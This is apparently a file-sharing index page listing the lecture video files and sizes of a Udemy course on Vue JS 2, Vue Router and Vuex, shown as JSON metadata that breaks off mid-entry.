Udemy - Vue JS 2 - The Complete Guide (incl. Vue Router & Vuex)

mp4   Hot:1135   Size:4.16 GB   Created:2018-12-14 13:10:37   Update:2021-12-12 18:30:03  

File List

  • 文件过大导致无法格式化,将以元数据展示。
    [{"path": "21 All Course Exercises (Time to Practice)/314 Time to Practice (4) - Styling (Solution).mp4", "length": 66049605}, {"path": "21 All Course Exercises (Time to Practice)/325 Time to Practice (9) - Forms (Solution).mp4", "length": 61832109}, {"path": "14 Adding Animations and Transitions/203 Creating the App.mp4", "length": 50387209}, {"path": "18 Final Project - The Stock Trader/282 Adding a Portfolio Module to Vuex.mp4", "length": 39947449}, {"path": "18 Final Project - The Stock Trader/281 Setting up the Vuex State Management.mp4", "length": 38436767}, {"path": "21 All Course Exercises (Time to Practice)/321 Time to Practice (7) - Component Communication (Solution).mp4", "length": 36978796}, {"path": "02 Using VueJS to Interact with the DOM/023 Reacting to Changes with Computed Properties.mp4", "length": 36310422}, {"path": "23 Bonus Authentication in Vue Apps/357 Adding Auto Login.mp4", "length": 34756166}, {"path": "21 All Course Exercises (Time to Practice)/317 Time to Practice (5) - Conditionals and Lists (Solution).mp4", "length": 34023737}, {"path": "14 Adding Animations and Transitions/195 Understanding JavaScript Animations.mp4", "length": 33167500}, {"path": "16 Routing in a VueJS Application/245 Using the beforeEnter Guard.mp4", "length": 32819298}, {"path": "21 All Course Exercises (Time to Practice)/329 Time to Practice (11) - Filters and Mixins (Solution).mp4", "length": 32132559}, {"path": "04 First Course Project - The Monster Slayer/051 Implementing a Attack Method.mp4", "length": 30406750}, {"path": "24 Bonus Form Input Validation/364 Adding a Validator.mp4", "length": 29711907}, {"path": "16 Routing in a VueJS Application/247 Loading Routes Lazily.mp4", "length": 29112448}, {"path": "15 Connecting to Servers via Http - Using vue-resource/212 GETting and Transforming Data (Sending a GET Request).mp4", "length": 28478268}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/084 Understanding .vue Files.mp4", "length": 28437232}, {"path": "23 Bonus Authentication in Vue Apps/351 Accessing other Resources from Vuex.mp4", "length": 28251067}, {"path": "17 Better State Management with Vuex/257 Mapping Getters to Properties.mp4", "length": 27900441}, {"path": "18 Final Project - The Stock Trader/277 Adding a Header and Navigation.mp4", "length": 27866234}, {"path": "24 Bonus Form Input Validation/370 Validating Arrays.mp4", "length": 27086575}, {"path": "18 Final Project - The Stock Trader/283 Working on the Portfolio Stocks.mp4", "length": 27037931}, {"path": "17 Better State Management with Vuex/253 Using the Centralized State.mp4", "length": 26969493}, {"path": "17 Better State Management with Vuex/269 Using Namespaces to Avoid Naming Problems.mp4", "length": 26827120}, {"path": "14 Adding Animations and Transitions/198 Animating Dynamic Components.mp4", "length": 26649663}, {"path": "19 Deploying a VueJS Application/301 Deploying the App (Example AWS S3).mp4", "length": 26591499}, {"path": "05 Understanding the VueJS Instance/070 Mounting a Template.mp4", "length": 26531962}, {"path": "24 Bonus Form Input Validation/373 Async Validators.mp4", "length": 26509382}, {"path": "17 Better State Management with Vuex/265 Two-Way-Binding (v-model) and Vuex.mp4", "length": 26452152}, {"path": "14 Adding Animations and Transitions/201 Using transition-group to Animate a List.mp4", "length": 26434095}, {"path": "07 An Introduction to Components/100 Scoping Component Styles.mp4", "length": 25918606}, {"path": "08 Communicating between Components/112 Communication between Sibling Components.mp4", "length": 25904565}, {"path": "14 Adding Animations and Transitions/204 Adding Animations.mp4", "length": 25268880}, {"path": "15 Connecting to Servers via Http - Using vue-resource/211 POSTing Data to a Server (Sending a POST Request).mp4", "length": 25222648}, {"path": "16 Routing in a VueJS Application/224 Setting Up and Loading Routes.mp4", "length": 24282576}, {"path": "14 Adding Animations and Transitions/197 Creating an Animation in JavaScript.mp4", "length": 24075558}, {"path": "11 Handling User Input with Forms/152 Creating a Custom Control (Input).mp4", "length": 24025161}, {"path": "08 Communicating between Components/109 Using Custom Events for Child Parent Communication.mp4", "length": 23987626}, {"path": "18 Final Project - The Stock Trader/279 Creating Stocks Components.mp4", "length": 23425531}, {"path": "21 All Course Exercises (Time to Practice)/305 Time to Practice (1) - Outputting Data to Templates (Solution).mp4", "length": 22883758}, {"path": "18 Final Project - The Stock Trader/280 Adding a Buy Button.mp4", "length": 22837520}, {"path": "21 All Course Exercises (Time to Practice)/327 Time to Practice (10) - Directives (Solution).mp4", "length": 22780267}, {"path": "05 Understanding the VueJS Instance/068 Placing refs and Using them on your Templates.mp4", "length": 22677496}, {"path": "11 Handling User Input with Forms/150 Handling Dropdowns with select and option.mp4", "length": 22607854}, {"path": "21 All Course Exercises (Time to Practice)/311 Time to Practice (3) - Reactive Properties (Solution).mp4", "length": 22541822}, {"path": "18 Final Project - The Stock Trader/287 Adding some Order Checks.mp4", "length": 22385495}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/082 Installing the Vue CLI and Creating a new Project.mp4", "length": 21878598}, {"path": "08 Communicating between Components/113 Using an Event Bus for Communication.mp4", "length": 21847941}, {"path": "09 Advanced Component Usage/125 Switching Multiple Components with Dynamic Components.mp4", "length": 21823323}, {"path": "24 Bonus Form Input Validation/367 More Validators.mp4", "length": 21721758}, {"path": "15 Connecting to Servers via Http - Using vue-resource/219 Understanding Template URLs.mp4", "length": 21721379}, {"path": "15 Connecting to Servers via Http - Using vue-resource/210 Creating an Application and Setting Up a Server (Firebase).mp4", "length": 21696248}, {"path": "04 First Course Project - The Monster Slayer/048 Creating the Vue Instance and Styling the Healthbars.mp4", "length": 21562137}, {"path": "18 Final Project - The Stock Trader/289 Ending the Day - Randomizing Stocks.mp4", "length": 21409475}, {"path": "05 Understanding the VueJS Instance/067 A Closer Look at el and data.mp4", "length": 21393551}, {"path": "11 Handling User Input with Forms/148 Using Checkboxes and Saving Data in Arrays.mp4", "length": 21211419}, {"path": "13 Improving your App with Filters and Mixins/172 An (often-times better) Alternative to Filters Computed Properties.mp4", "length": 21161376}, {"path": "14 Adding Animations and Transitions/193 Transitioning between Multiple Elements (Practice).mp4", "length": 20940680}, {"path": "07 An Introduction to Components/096 Using Components.mp4", "length": 20858221}, {"path": "24 Bonus Form Input Validation/368 Validating Passwords For Equality.mp4", "length": 20733150}, {"path": "05 Understanding the VueJS Instance/075 The VueJS Instance Lifecycle in Practice.mp4", "length": 20717700}, {"path": "08 Communicating between Components/108 Validating props.mp4", "length": 20316202}, {"path": "17 Better State Management with Vuex/262 Using Actions.mp4", "length": 20004870}, {"path": "17 Better State Management with Vuex/267 Modularizing the State Management.mp4", "length": 19867095}, {"path": "18 Final Project - The Stock Trader/294 Fetching Data (GET Request).mp4", "length": 19691164}, {"path": "15 Connecting to Servers via Http - Using vue-resource/216 Where the resource in vue-resource Comes From.mp4", "length": 19584045}, {"path": "07 An Introduction to Components/099 How to Name your Component Tags (Selectors).mp4", "length": 19564167}, {"path": "04 First Course Project - The Monster Slayer/052 Write better Code - Time for Refactoring.mp4", "length": 19204692}, {"path": "05 Understanding the VueJS Instance/071 Using Components.mp4", "length": 19183007}, {"path": "17 Better State Management with Vuex/263 Mapping Actions to Methods.mp4", "length": 19126575}, {"path": "17 Better State Management with Vuex/259 Using Mutations.mp4", "length": 18963930}, {"path": "01 Getting Started/002 Lets Create our First VueJS Application.mp4", "length": 18927740}, {"path": "05 Understanding the VueJS Instance/066 How VueJS manages your Data and Methods.mp4", "length": 18863429}, {"path": "21 All Course Exercises (Time to Practice)/308 Time to Practice (2) - Events (Solution).mp4", "length": 18854271}, {"path": "23 Bonus Authentication in Vue Apps/352 Sending the Token to the Backend.mp4", "length": 18466236}, {"path": "07 An Introduction to Components/091 An Introduction to Components.mp4", "length": 18373995}, {"path": "24 Bonus Form Input Validation/369 Using the Required-Unless Validator.mp4", "length": 18370268}, {"path": "22 Bonus Using Axios instead of vue-resource/334 Sending a POST Request.mp4", "length": 18310261}, {"path": "17 Better State Management with Vuex/264 A Summary of Vuex.mp4", "length": 18225506}, {"path": "22 Bonus Using Axios instead of vue-resource/338 Using Interceptors.mp4", "length": 18191872}, {"path": "14 Adding Animations and Transitions/200 Using transition-group - Preparations.mp4", "length": 17965741}, {"path": "13 Improving your App with Filters and Mixins/170 Creating a Local Filter.mp4", "length": 17958254}, {"path": "14 Adding Animations and Transitions/190 Using Different CSS Class Names.mp4", "length": 17778053}, {"path": "16 Routing in a VueJS Application/233 Setting Up Child Routes (Nested Routes).mp4", "length": 17691252}, {"path": "12 Using and Creating Directives/165 Using Multiple Modifiers.mp4", "length": 17584960}, {"path": "15 Connecting to Servers via Http - Using vue-resource/209 Accessing Http via vue-resource - Setup.mp4", "length": 17474301}, {"path": "22 Bonus Using Axios instead of vue-resource/336 Accessing Using Response Data.mp4", "length": 17405829}, {"path": "23 Bonus Authentication in Vue Apps/355 Adding User Logout.mp4", "length": 17321892}, {"path": "18 Final Project - The Stock Trader/276 Setup Project Routes.mp4", "length": 17248128}, {"path": "17 Better State Management with Vuex/268 Using Separate Files.mp4", "length": 17187820}, {"path": "11 Handling User Input with Forms/144 A Basic input Form Binding.mp4", "length": 17153117}, {"path": "01 Getting Started/003 Extending the VueJS Application.mp4", "length": 17105688}, {"path": "03 Using Conditionals and Rendering Lists/041 Looping through Objects.mp4", "length": 17051162}, {"path": "03 Using Conditionals and Rendering Lists/043 Keeping Track of Elements when using v-for.mp4", "length": 17028866}, {"path": "22 Bonus Using Axios instead of vue-resource/337 Setting a Global Request Configuration.mp4", "length": 16929316}, {"path": "23 Bonus Authentication in Vue Apps/346 Adding User Signup.mp4", "length": 16922773}, {"path": "02 Using VueJS to Interact with the DOM/026 Dynamic Styling with CSS Classes - Basics.mp4", "length": 16814022}, {"path": "21 All Course Exercises (Time to Practice)/313 Time to Practice (4) - Styling (Problem).mp4", "length": 16381861}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/080 What does Development Workflow mean.mp4", "length": 16367213}, {"path": "16 Routing in a VueJS Application/225 Understanding Routing Modes (Hash vs History).mp4", "length": 16016593}, {"path": "01 Getting Started/004 Course Structure.mp4", "length": 15678110}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/083 An Overview over the Webpack Template Folder Structure.mp4", "length": 15521399}, {"path": "13 Improving your App with Filters and Mixins/176 Creating a Global Mixin (Special Case).mp4", "length": 15407149}, {"path": "07 An Introduction to Components/092 Storing Data in Components with the Data Method.mp4", "length": 15211930}, {"path": "24 Bonus Form Input Validation/365 Adding Validation UI Feedback.mp4", "length": 15087926}, {"path": "14 Adding Animations and Transitions/186 Creating a Slide Transition with the CSS Animation Property.mp4", "length": 15077102}, {"path": "07 An Introduction to Components/095 Creating a Component.mp4", "length": 15011041}, {"path": "23 Bonus Authentication in Vue Apps/356 Adding Auto Logout.mp4", "length": 15006309}, {"path": "02 Using VueJS to Interact with the DOM/024 An Alternative to Computed Properties Watching for Changes.mp4", "length": 14911934}, {"path": "16 Routing in a VueJS Application/226 Navigating with Router Links.mp4", "length": 14717102}, {"path": "14 Adding Animations and Transitions/187 Mixing Transition and Animation Properties.mp4", "length": 14665700}, {"path": "03 Using Conditionals and Rendering Lists/034 Conditional Rendering with v-if.mp4", "length": 14270507}, {"path": "01 Getting Started/001 Course Introduction.mp4", "length": 14263420}, {"path": "16 Routing in a VueJS Application/246 Using the beforeLeave Guard.mp4", "length": 14187425}, {"path": "15 Connecting to Servers via Http - Using vue-resource/214 Intercepting Requests.mp4", "length": 14167143}, {"path": "10 Second Course Project - Wonderful Quotes/134 Creating the Application Components.mp4", "length": 13959909}, {"path": "05 Understanding the VueJS Instance/065 Accessing the Vue Instance from Outside.mp4", "length": 13945991}, {"path": "14 Adding Animations and Transitions/185 Creating a Fade Transition with the CSS Transition Property.mp4", "length": 13937779}, {"path": "18 Final Project - The Stock Trader/286 Displaying the Funds.mp4", "length": 13846242}, {"path": "02 Using VueJS to Interact with the DOM/021 Writing JavaScript Code in the Templates.mp4", "length": 13798298}, {"path": "11 Handling User Input with Forms/147 Binding textarea and Saving Line Breaks.mp4", "length": 13795590}, {"path": "10 Second Course Project - Wonderful Quotes/140 Controlling Quotes with a Progress Bar.mp4", "length": 13730709}, {"path": "05 Understanding the VueJS Instance/073 How VueJS Updates the DOM.mp4", "length": 13726235}, {"path": "12 Using and Creating Directives/157 Understanding Directives.mp4", "length": 13630130}, {"path": "10 Second Course Project - Wonderful Quotes/136 Allowing Users to Create Quotes with a NewQuote Component.mp4", "length": 13619246}, {"path": "10 Second Course Project - Wonderful Quotes/139 Allowing for Quote Deletion.mp4", "length": 13564075}, {"path": "08 Communicating between Components/105 Using Props for Parent Child Communication.mp4", "length": 13299183}, {"path": "16 Routing in a VueJS Application/238 Multiple Router Views (Named Router Views).mp4", "length": 13272376}, {"path": "07 An Introduction to Components/094 The Root Component in the App.vue File.mp4", "length": 13270462}, {"path": "16 Routing in a VueJS Application/243 Controlling the Scroll Behavior.mp4", "length": 13244156}, {"path": "02 Using VueJS to Interact with the DOM/028 Dynamic Styling with CSS Classes - Using Names.mp4", "length": 13241755}, {"path": "09 Advanced Component Usage/121 How Slot Content gets Compiled and Styled.mp4", "length": 13207908}, {"path": "13 Improving your App with Filters and Mixins/175 How Mixins get Merged.mp4", "length": 13143818}, {"path": "11 Handling User Input with Forms/145 Grouping Data and Pre-Populating Inputs.mp4", "length": 13035614}, {"path": "22 Bonus Using Axios instead of vue-resource/339 Custom Axios Instances.mp4", "length": 13020053}, {"path": "02 Using VueJS to Interact with the DOM/019 Modifying an Event - with Event Modifiers.mp4", "length": 13004619}, {"path": "16 Routing in a VueJS Application/227 Where am I - Styling Active Links.mp4", "length": 12971060}, {"path": "14 Adding Animations and Transitions/182 Preparing Code to use Transitions.mp4", "length": 12885506}, {"path": "05 Understanding the VueJS Instance/063 Some Basics about the VueJS Instance.mp4", "length": 12840622}, {"path": "18 Final Project - The Stock Trader/290 Animating the Route Transitions.mp4", "length": 12795903}, {"path": "16 Routing in a VueJS Application/242 Passing the Hash Fragment.mp4", "length": 12719520}, {"path": "10 Second Course Project - Wonderful Quotes/137 Adding Quotes with Custom Events.mp4", "length": 12708356}, {"path": "04 First Course Project - The Monster Slayer/046 Introduction Challenge.mp4", "length": 12629981}, {"path": "04 First Course Project - The Monster Slayer/047 Setting up the Course Project.mp4", "length": 12546608}, {"path": "05 Understanding the VueJS Instance/072 Limitations of some Templates.mp4", "length": 12407770}, {"path": "18 Final Project - The Stock Trader/273 Project Introduction.mp4", "length": 12397140}, {"path": "11 Handling User Input with Forms/146 Modifying User Input with Input Modifiers.mp4", "length": 12366406}, {"path": "23 Bonus Authentication in Vue Apps/348 Using Vuex to send Auth Requests.mp4", "length": 12339441}, {"path": "15 Connecting to Servers via Http - Using vue-resource/213 Configuring vue-resource Globally.mp4", "length": 12209466}, {"path": "14 Adding Animations and Transitions/183 Setting Up a Transition.mp4", "length": 12205104}, {"path": "21 All Course Exercises (Time to Practice)/323 Time to Practice (8) - Slots and Dynamic Components (Solution).mp4", "length": 12158310}, {"path": "05 Understanding the VueJS Instance/074 The VueJS Instance Lifecycle.mp4", "length": 12150249}, {"path": "16 Routing in a VueJS Application/231 Reacting to Changes in Route Parameters.mp4", "length": 12011444}, {"path": "16 Routing in a VueJS Application/236 A Better Way of Creating Links - With Named Routes.mp4", "length": 12008728}, {"path": "15 Connecting to Servers via Http - Using vue-resource/215 Intercepting Responses.mp4", "length": 11956505}, {"path": "21 All Course Exercises (Time to Practice)/320 Time to Practice (7) - Component Communication (Problem).mp4", "length": 11910731}, {"path": "11 Handling User Input with Forms/149 Using Radio Buttons.mp4", "length": 11804174}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/079 Why do we need a Development Server.mp4", "length": 11768803}, {"path": "05 Understanding the VueJS Instance/064 Using Multiple Vue Instances.mp4", "length": 11690327}, {"path": "16 Routing in a VueJS Application/241 Animating Route Transitions.mp4", "length": 11595496}, {"path": "02 Using VueJS to Interact with the DOM/029 Setting Styles Dynamically (without CSS Classes).mp4", "length": 11441699}, {"path": "18 Final Project - The Stock Trader/275 Creating the First Components.mp4", "length": 11420335}, {"path": "09 Advanced Component Usage/122 Using Multiple Slots (Named Slots).mp4", "length": 11355537}, {"path": "02 Using VueJS to Interact with the DOM/009 Understanding VueJS Templates.mp4", "length": 11331343}, {"path": "11 Handling User Input with Forms/151 What v-model does and How to Create a Custom Control.mp4", "length": 11276715}, {"path": "18 Final Project - The Stock Trader/293 Saving Data (PUT Request).mp4", "length": 11270417}, {"path": "11 Handling User Input with Forms/153 Submitting a Form.mp4", "length": 11234260}, {"path": "15 Connecting to Servers via Http - Using vue-resource/217 Creating Custom Resources.mp4", "length": 11140638}, {"path": "08 Communicating between Components/104 Communication Problems.mp4", "length": 11129276}, {"path": "24 Bonus Form Input Validation/360 About this Section.mp4", "length": 11087156}, {"path": "07 An Introduction to Components/097 Moving to a Better Folder Structure.mp4", "length": 11061278}, {"path": "09 Advanced Component Usage/118 Setting up the Module Project.mp4", "length": 11027083}, {"path": "17 Better State Management with Vuex/254 Why a Centralized State Alone Wont Fix It.mp4", "length": 11014918}, {"path": "12 Using and Creating Directives/161 Passing Arguments to Custom Directives.mp4", "length": 11007858}, {"path": "07 An Introduction to Components/093 Registering Components Locally and Globally.mp4", "length": 10844724}, {"path": "16 Routing in a VueJS Application/234 Navigating to Nested Routes.mp4", "length": 10841043}, {"path": "18 Final Project - The Stock Trader/295 Testing and Bug Fixes.mp4", "length": 10778884}, {"path": "18 Final Project - The Stock Trader/274 Project Setup and Planning.mp4", "length": 10710371}, {"path": "04 First Course Project - The Monster Slayer/056 Creating an Action Log.mp4", "length": 10702856}, {"path": "12 Using and Creating Directives/166 Passing more Complex Values to Directives.mp4", "length": 10695360}, {"path": "13 Improving your App with Filters and Mixins/177 Mixins and Scope.mp4", "length": 10553737}, {"path": "17 Better State Management with Vuex/256 Using Getters.mp4", "length": 10508542}, {"path": "21 All Course Exercises (Time to Practice)/310 Time to Practice (3) - Reactive Properties (Problem).mp4", "length": 10352923}, {"path": "16 Routing in a VueJS Application/237 Using Query Parameters.mp4", "length": 10304535}, {"path": "04 First Course Project - The Monster Slayer/054 Implementing a Heal Method.mp4", "length": 10217954}, {"path": "02 Using VueJS to Interact with the DOM/015 How to Output Raw HTML.mp4", "length": 10207849}, {"path": "14 Adding Animations and Transitions/191 Using Dynamic Names and Attributes.mp4", "length": 10190959}, {"path": "13 Improving your App with Filters and Mixins/173 Understanding Mixins.mp4", "length": 10087651}, {"path": "16 Routing in a VueJS Application/228 Navigating from Code (Imperative Navigation).mp4", "length": 10043038}, {"path": "02 Using VueJS to Interact with the DOM/010 How the VueJS Template Syntax and Instance Work Together.mp4", "length": 10006926}, {"path": "04 First Course Project - The Monster Slayer/057 Printing the Log (v-for).mp4", "length": 10001655}, {"path": "18 Final Project - The Stock Trader/291 Saving Fetching Data - Adding a Dropdown.mp4", "length": 9932234}, {"path": "23 Bonus Authentication in Vue Apps/342 About this Section.mp4", "length": 9909953}, {"path": "14 Adding Animations and Transitions/184 Assigning CSS Classes for Transitions.mp4", "length": 9902376}, {"path": "02 Using VueJS to Interact with the DOM/012 Binding to Attributes.mp4", "length": 9897746}, {"path": "20 Course Roundup/302 Courses Roundup.mp4", "length": 9882601}, {"path": "13 Improving your App with Filters and Mixins/174 Creating and Using Mixins.mp4", "length": 9819304}, {"path": "17 Better State Management with Vuex/251 Why a Different State Management May Be Needed.mp4", "length": 9754070}, {"path": "08 Communicating between Components/111 Communicating with Callback Functions.mp4", "length": 9730483}, {"path": "01 Getting Started/006 Setup VueJS Locally.mp4", "length": 9687012}, {"path": "23 Bonus Authentication in Vue Apps/349 Storing Auth Data in Vuex.mp4", "length": 9549002}, {"path": "18 Final Project - The Stock Trader/292 Setting up vue-resource and Firebase.mp4", "length": 9502586}, {"path": "08 Communicating between Components/114 Centralizing Code in an Event Bus.mp4", "length": 9497196}, {"path": "02 Using VueJS to Interact with the DOM/017 Getting Event Data from the Event Object.mp4", "length": 9414712}, {"path": "12 Using and Creating Directives/162 Modifying a Custom Directive with Modifiers.mp4", "length": 9395735}, {"path": "03 Using Conditionals and Rendering Lists/038 Rendering Lists with v-for.mp4", "length": 9285009}, {"path": "04 First Course Project - The Monster Slayer/053 Implementing a Special Attack.mp4", "length": 9268339}, {"path": "15 Connecting to Servers via Http - Using vue-resource/220 Wrap Up.mp4", "length": 9250171}, {"path": "16 Routing in a VueJS Application/239 Redirecting.mp4", "length": 9187201}, {"path": "09 Advanced Component Usage/119 Passing Content - The Suboptimal Solution.mp4", "length": 9146938}, {"path": "21 All Course Exercises (Time to Practice)/319 Time to Practice (6) - Components (Solution).mp4", "length": 9075948}, {"path": "16 Routing in a VueJS Application/223 Setting up the VueJS Router (vue-router).mp4", "length": 9018707}, {"path": "13 Improving your App with Filters and Mixins/178 Wrap Up.mp4", "length": 8966745}, {"path": "10 Second Course Project - Wonderful Quotes/141 Finishing Touches and State Management.mp4", "length": 8773876}, {"path": "12 Using and Creating Directives/158 How Directives Work - Hook Functions.mp4", "length": 8590021}, {"path": "24 Bonus Form Input Validation/372 Creating Custom Validators.mp4", "length": 8475839}, {"path": "09 Advanced Component Usage/123 Default Slots and Slot Defaults.mp4", "length": 8463790}, {"path": "04 First Course Project - The Monster Slayer/049 Showing the Player Controls Conditionally.mp4", "length": 8441241}, {"path": "09 Advanced Component Usage/126 Understanding Dynamic Component Behavior.mp4", "length": 8410498}, {"path": "18 Final Project - The Stock Trader/284 Connecting the Portfolio with Vuex.mp4", "length": 8346888}, {"path": "21 All Course Exercises (Time to Practice)/304 Time to Practice (1) - Outputting Data to Templates (Problem).mp4", "length": 8282577}, {"path": "22 Bonus Using Axios instead of vue-resource/333 Axios Setup.mp4", "length": 8266617}, {"path": "18 Final Project - The Stock Trader/285 Time to fix some Errors.mp4", "length": 8152691}, {"path": "21 All Course Exercises (Time to Practice)/318 Time to Practice (6) - Components (Problem).mp4", "length": 8149757}, {"path": "02 Using VueJS to Interact with the DOM/020 Listening to Keyboard Events.mp4", "length": 8062408}, {"path": "04 First Course Project - The Monster Slayer/058 Finishing the Log.mp4", "length": 8053164}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/081 Using the Vue CLI to create Projects.mp4", "length": 7998675}, {"path": "23 Bonus Authentication in Vue Apps/347 Adding User Signin (Login).mp4", "length": 7938660}, {"path": "21 All Course Exercises (Time to Practice)/324 Time to Practice (9) - Forms (Problem).mp4", "length": 7913417}, {"path": "16 Routing in a VueJS Application/230 Fetching and Using Route Parameters.mp4", "length": 7864949}, {"path": "19 Deploying a VueJS Application/300 Preparing for Deployment.mp4", "length": 7741015}, {"path": "13 Improving your App with Filters and Mixins/171 Global Filters and How to Chain Multiple Filters.mp4", "length": 7734705}, {"path": "04 First Course Project - The Monster Slayer/060 Wrap Up.mp4", "length": 7695789}, {"path": "22 Bonus Using Axios instead of vue-resource/335 Sending a GET Request.mp4", "length": 7639858}, {"path": "10 Second Course Project - Wonderful Quotes/135 Passing Data with Props and Slots.mp4", "length": 7578833}, {"path": "23 Bonus Authentication in Vue Apps/354 Updating the UI State (based on Authentication State).mp4", "length": 7550111}, {"path": "03 Using Conditionals and Rendering Lists/037 Dont Detach it with v-show.mp4", "length": 7541938}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/078 Module Introduction.mp4", "length": 7484326}, {"path": "02 Using VueJS to Interact with the DOM/018 Passing your own Arguments with Events.mp4", "length": 7383824}, {"path": "17 Better State Management with Vuex/260 Why Mutations have to run Synchronously.mp4", "length": 7352736}, {"path": "04 First Course Project - The Monster Slayer/059 Styling the Log Conditionally.mp4", "length": 7337921}, {"path": "16 Routing in a VueJS Application/235 Making Router Links more Dynamic.mp4", "length": 7264822}, {"path": "02 Using VueJS to Interact with the DOM/016 Listening to Events.mp4", "length": 7231108}, {"path": "02 Using VueJS to Interact with the DOM/022 Using Two-Way-Binding.mp4", "length": 7210819}, {"path": "23 Bonus Authentication in Vue Apps/353 Protecting Routes (Auth Guard).mp4", "length": 7201940}, {"path": "22 Bonus Using Axios instead of vue-resource/332 Project Setup.mp4", "length": 7156367}, {"path": "14 Adding Animations and Transitions/194 Listening to Transition Event Hooks.mp4", "length": 7156040}, {"path": "03 Using Conditionals and Rendering Lists/039 Getting the Current Index.mp4", "length": 7104387}, {"path": "02 Using VueJS to Interact with the DOM/011 Accessing Data in the Vue Instance.mp4", "length": 7076413}, {"path": "16 Routing in a VueJS Application/229 Setting Up Route Parameters.mp4", "length": 7034256}, {"path": "21 All Course Exercises (Time to Practice)/316 Time to Practice (5) - Conditionals and Lists (Problem).mp4", "length": 6961742}, {"path": "18 Final Project - The Stock Trader/288 Making Funds Look Nicer with Filters.mp4", "length": 6932404}, {"path": "15 Connecting to Servers via Http - Using vue-resource/208 Module Introduction.mp4", "length": 6907487}, {"path": "04 First Course Project - The Monster Slayer/050 Implementing a Start Game Method.mp4", "length": 6856588}, {"path": "01 Getting Started/005 Take Advantage of all Course Resources.mp4", "length": 6836861}, {"path": "21 All Course Exercises (Time to Practice)/307 Time to Practice (2) - Events (Problem).mp4", "length": 6818621}, {"path": "22 Bonus Using Axios instead of vue-resource/330 About this Section.mp4", "length": 6752199}, {"path": "02 Using VueJS to Interact with the DOM/014 Disable Re-Rendering with v-once.mp4", "length": 6733798}, {"path": "16 Routing in a VueJS Application/222 Module Introduction.mp4", "length": 6674596}, {"path": "24 Bonus Form Input Validation/371 Controlling the Form Submit Button.mp4", "length": 6591415}, {"path": "17 Better State Management with Vuex/252 Understanding Centralized State.mp4", "length": 6490228}, {"path": "12 Using and Creating Directives/164 Registering Directives Locally.mp4", "length": 6486328}, {"path": "17 Better State Management with Vuex/261 How Actions improve Mutations.mp4", "length": 6420963}, {"path": "18 Final Project - The Stock Trader/297 Bonus Debugging Vuex with Vue Developer Tools.mp4", "length": 6398616}, {"path": "14 Adding Animations and Transitions/189 Setting Up an Initial (on-load) Animation.mp4", "length": 6275625}, {"path": "14 Adding Animations and Transitions/196 Excluding CSS from your Animation.mp4", "length": 6198583}, {"path": "10 Second Course Project - Wonderful Quotes/131 Module Introduction.mp4", "length": 6166682}, {"path": "21 All Course Exercises (Time to Practice)/322 Time to Practice (8) - Slots and Dynamic Components (Problem).mp4", "length": 6158290}, {"path": "08 Communicating between Components/107 Using props in the Child Component.mp4", "length": 6128859}, {"path": "03 Using Conditionals and Rendering Lists/036 Using an Alternative v-if Syntax.mp4", "length": 6075963}, {"path": "02 Using VueJS to Interact with the DOM/013 Understanding and Using Directives.mp4", "length": 6046252}, {"path": "02 Using VueJS to Interact with the DOM/025 Saving Time with Shorthands.mp4", "length": 6032879}, {"path": "02 Using VueJS to Interact with the DOM/027 Dynamic Styling with CSS Classes - Using Objects.mp4", "length": 5816771}, {"path": "10 Second Course Project - Wonderful Quotes/132 Setting up the Project.mp4", "length": 5752562}, {"path": "23 Bonus Authentication in Vue Apps/345 Project Setup.mp4", "length": 5620240}, {"path": "09 Advanced Component Usage/129 Wrap Up.mp4", "length": 5579180}, {"path": "18 Final Project - The Stock Trader/296 Project Wrap Up.mp4", "length": 5513705}, {"path": "18 Final Project - The Stock Trader/278 Planning the Next Steps.mp4", "length": 5440433}, {"path": "21 All Course Exercises (Time to Practice)/328 Time to Practice (11) - Filters and Mixins (Problem).mp4", "length": 5434551}, {"path": "09 Advanced Component Usage/128 Dynamic Component Lifecycle Hooks.mp4", "length": 5374812}, {"path": "17 Better State Management with Vuex/258 Understanding Mutations.mp4", "length": 5336986}, {"path": "12 Using and Creating Directives/159 Creating a Simple Directive.mp4", "length": 5262900}, {"path": "24 Bonus Form Input Validation/366 Controlling Styles for Invalid Entries.mp4", "length": 5258761}, {"path": "08 Communicating between Components/106 Naming props.mp4", "length": 5252610}, {"path": "10 Second Course Project - Wonderful Quotes/133 Initializing the Application.mp4", "length": 5250577}, {"path": "16 Routing in a VueJS Application/248 Wrap Up.mp4", "length": 5198634}, {"path": "22 Bonus Using Axios instead of vue-resource/340 Wrap Up.mp4", "length": 5154009}, {"path": "17 Better State Management with Vuex/266 Improving Folder Structures.mp4", "length": 5124859}, {"path": "12 Using and Creating Directives/160 Passing Values to Custom Directives.mp4", "length": 5073146}, {"path": "23 Bonus Authentication in Vue Apps/344 How Authentication Works in SPAs.mp4", "length": 5028615}, {"path": "14 Adding Animations and Transitions/180 Module Introduction.mp4", "length": 4966877}, {"path": "19 Deploying a VueJS Application/299 Module Introduction.mp4", "length": 4954290}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/085 Understanding the Object in the Vue File.mp4", "length": 4935034}, {"path": "16 Routing in a VueJS Application/240 Setting Up Catch All Routes Wildcards.mp4", "length": 4928613}, {"path": "24 Bonus Form Input Validation/363 Installing Vuelidate.mp4", "length": 4917255}, {"path": "16 Routing in a VueJS Application/244 Protecting Routes with Guards.mp4", "length": 4914928}, {"path": "17 Better State Management with Vuex/250 Module Introduction.mp4", "length": 4840564}, {"path": "06 Moving to a Real Development Workflow with Webpack and Vue CLI/087 Module Wrap Up.mp4", "length": 4826448}, {"path": "14 Adding Animations and Transitions/202 Understanding the App.mp4", "length": 4816010}, {"path": "02 Using VueJS to Interact with the DOM/030 Styling Elements with the Array Syntax.mp4", "length": 4503628}, {"path": "07 An Introduction to Components/090 Module Introduction.mp4", "length": 4446290}, {"path": "05 Understanding the VueJS Instance/062 Module Introduction.mp4", "length": 4421661}, {"path": "14 Adding Animations and Transitions/205 Wrap Up.mp4", "length": 4381558}, {"path": "05 Understanding the VueJS Instance/069 Where to learn more about the Vue API.mp4", "length": 4379548}, {"path": "03 Using Conditionals and Rendering Lists/040 Using an Alternative v-for Syntax.mp4", "length": 4304922}, {"path": "10 Second Course Project - Wonderful Quotes/138 Adding a Info Box.mp4", "length": 